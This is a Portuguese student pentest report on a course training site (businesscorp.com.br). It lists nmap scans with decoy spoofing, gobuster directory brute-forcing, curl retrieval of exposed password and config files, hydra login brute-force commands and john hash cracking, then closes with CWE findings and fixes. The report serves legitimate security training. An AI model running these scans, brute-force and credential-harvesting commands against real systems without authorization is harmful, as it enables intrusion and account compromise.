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1. INTRODUÇÃO 

As atividades orientadas a ensino realizadas focaram no tema de Segurança 

Computacional, com estudos direcionados a Pentest (Teste de Intrusão). As ferramentas 

estudadas estão listadas a seguir, exibindo os comandos executados, resultados obtidos e 

vulnerabilidades encontradas e exploradas. 

O site alvo do pentest foi disponibilizado pela empresa Desec Security - disponibilizado em 

seu respectivo curso de Pentest, dessa forma, foi possível utilizá-lo sem cometer nenhuma 

infração do ponto de vista ético e legal. 

 

2. MAPEAMENTO 

Site: http://www.businesscorp.com.br 

2.1 Mapeando o Host 

2.1.1 nmap -D RND:20 --open -sS -top-ports=100 businesscorp.com.br -oN portas-

abertas 

-D RND:20 = spoofing de 20 Ips aleatorios  

--open = apenas portas abertas 

-sS = Faz um TCP SYN scan 

-top-ports=100 = faz scan apenas das 100 portas mais comuns, segundo a lista do Nmap 

-oN = Salva o resultado no arquivo portas-abertas, em formato “normal” (legível). 

 



 

Resultados: 

Portas abertas:  

21/tcp = FTP;  

22/tcp = ssh;  

53/tcp = domain;  

80/tcp = http;  

111/tcp = rpcbind;  

2.1.2 nmap -p 21,22,53,80,111 -sV -sC businesscorp.com.br -oN porta-versao 

-p = especifica as portas a serem testadas 

-sV = identifica versões dos serviços nas portas abertas 

-sC = executa scripts padrão do Nmap (NSE) 

-oN = salva o resultado no arquivo porta-versao, formato “normal” (legível) 

 

2.1.3 gobuster dir -u https://businesscorp.com.br/ -w /usr/share/dirb/wordlists/big.txt -

t 100 -e --no-error -r -oN gobuster-businesscorp 

-u = alvo 

-e = estendido (url completa) 

-w = wordlist 

–no error = não exibir erros na tela 

-r = se redirecionar, seguir os redirecionamentos 



 

o = salvar arquivo 

 

2.2 Mapeando a aplicação 

2.2.1 wafw00f -v "http://businesscorp.com.br" 

-v = modo verboso (mostra detalhes do processo de detecção) 

 

 



 

 
confirma que o site não está utilizando Waf (web Aplication Firewall) 

2.2.2 whatweb http://businesscorp.com.br 

O Site utiliza Javascript e Nginx como tecnologias que possivelmente possam ser 

encontrados CVEs. É hospedada no servidor Apache.   

3. EXPLORACAO 

3.1 curl -i https://www.businesscorp.com.br/_docs 

-i = exibe os headers (cabeçalhos) da resposta HTTP junto com o conteúdo  

Foi encontrado um arquivo senhas.txt 

3.1.1 curl -i https://www.businesscorp.com.br/_docs/senhas.txt 

  
Curl Retornou 2 possíveis usuários e senhas; 



 

3.2 curl -i https://www.businesscorp.com.br/app 

  
O Curl retornou uma página de login 

3.2.1 curl -i -k -X POST -d "username=admin&password=123" \ 

http://businesscorp.com.br/app/ 

                                       

3.2.2 hydra -l admin -P senhacurta.txt \   

  businesscorp.com.br http-post-form \  

"/app/:username=^USER^&password=^PASS^:F=200" -v 

tentativa de força bruta e possível, porem nenhuma tentativa teve sucesso, incluindo as 

senhas disponibilizadas no arquivo senhas.txt 

3.3 curl https://businesscorp.com.br/bkp 

 
Curl retorna um arquivo script.sh 

 



 

3.3.1 curl https://businesscorp.com.br/bkp/sript.sh 

 

Curl retorna possíveis configurações de backup 

3.3.2 gobuster dir -u http://www.businesscorp.com.br/bkp/ -w 

/usr/share/wordlists/dirb/common.txt 

 

3.4 curl https://businesscorp.com.br/config 

 
Curl retornou possíveis informações do servidor 

 

 



 

 

3.5 curl https://businesscorp.com.br/css/ 

Curl retornou possíveis informações de CSS 

3.6 curl https://businesscorp.com.br/db/ 

 

 3.6.1 gobuster dir -u http://businesscorp.com.br/db/ -w 

/usr/share/wordlists/dirb/common.txt -t 20 

 

 

 

 



 

3.6.2 curl https://businesscorp.com.br/db/update 

 

3.7 curl https://businesscorp.com.br/intranet/ 

 

3.7.1 hydra -l admin -P senhacurta.txt \           

  businesscorp.com.br http-post-form 

"/intranet/:username=^USER^&password=^PASS^:F=200"  

tentativa de forca bruta e possível, porem nenhuma tentativa teve sucesso, incluindo as 

senhas disponibilizadas no arquivo senhas.txt 

3.8 curl https://businesscorp.com.br/js 

 

 

https://businesscorp.com.br/js


 

 

3.8.1 curl -k http://www.businesscorp.com.br/js/getClient.js 

 
É um JavaScript que faz uma requisição AJAX (XMLHttpRequest) para: 

/apiClients/showNames.xml 

Ele faz um GET e, quando a resposta chega com sucesso (status == 200), imprime o 

conteúdo no console: console.log(this.responseText); 

3.8.2 curl -k http://businesscorp.com.br/apiClients/showNames.xml 

 
arquivo XML com nomes de clientes e contas dos clientes 

http://www.businesscorp.com.br/js/getClient.js


 

3.9 curl https://businesscorp.com.br/pass 

 
O prefixo $apr1$ indica que é um hash Apache MD5 (apr1), gerado com o htpasswd. 

3.9.1 john --wordlist=rockyou.txt --format=md5crypt hash.txt 

senha = fuck 

3.10 curl https://businesscorp.com.br/robots.txt 

 
No Robots foi encontrado que qualquer usuario tem acesso aos diretorios: 
/_restrito 
/_docs 
/admin 
/bkp 

3.11 curl https://businesscorp.com.br/ri 

revelou um documento relevante 

 



 

3.12 curl http://businesscorp.com.br/sitemap.xml 

 

3.13 curl http://businesscorp.com.br/~administrator/ 

 

3.14 url -k http://businesscorp.com.br/~administrator/key.txt  

 

4. CONCLUSAO 

Durante o pentest realizado no domínio businesscorp.com.br, foram identificadas 

vulnerabilidades críticas que comprometem a segurança da aplicação e do servidor. 

Foi constatada a exposição de arquivos sensíveis, como o /config, que revelou 

credenciais administrativas e uma chave de API, caracterizando a vulnerabilidade 

CWE-200: Exposure of Sensitive Information. Além disso, o arquivo 

/bkp/script.sh expôs caminhos internos do sistema, como /var/www/db/update.sql, 

configurando uma falha do tipo CWE-538: File and Directory Information 

Exposure. 

Outro achado relevante foi o arquivo /pass, que continha um hash Apache MD5 

($apr1$) referente ao usuário moikano. O hash foi quebrado com sucesso, 

revelando a senha fuck, o que evidencia a vulnerabilidade CWE-312: Cleartext 

Storage of Sensitive Information e possibilita o acesso não autorizado ao sistema. 

Também foi identificado um endpoint exposto, /apiClients/showNames.xml, que 

pode permitir o vazamento de dados de clientes, enquadrando-se na falha CWE-

201: Information Exposure Through Sent Data. 



 

Adicionalmente, a análise do frontend revelou o uso de bibliotecas desatualizadas, 

como Backstretch v2.0.4 (2013) e possivelmente uma versão vulnerável do jQuery. 

Essa prática eleva o risco de exploração de CVEs conhecidos, como o CVE-2019-

11358: Prototype Pollution in jQuery. 

Essas vulnerabilidades, em conjunto, demonstram que o ambiente está suscetível a 

ataques que podem resultar na divulgação de informações confidenciais, 

escalonamento de privilégios e comprometimento total do servidor. Recomenda-se a 

remoção imediata de arquivos sensíveis do diretório público, a atualização das 

bibliotecas utilizadas, a implementação de mecanismos de autenticação e controle 

de acesso mais robustos e a revisão das configurações de permissão no servidor 

web. 

Portanto, o estudo em segurança computacional foi essencial, pois além de gerar uma 

grande satisfação e segurança pessoal, também agrega do ponto de vista profissional, 

gerando possíveis oportunidades. 

Campo Grande, 11 de julho de 2025. 
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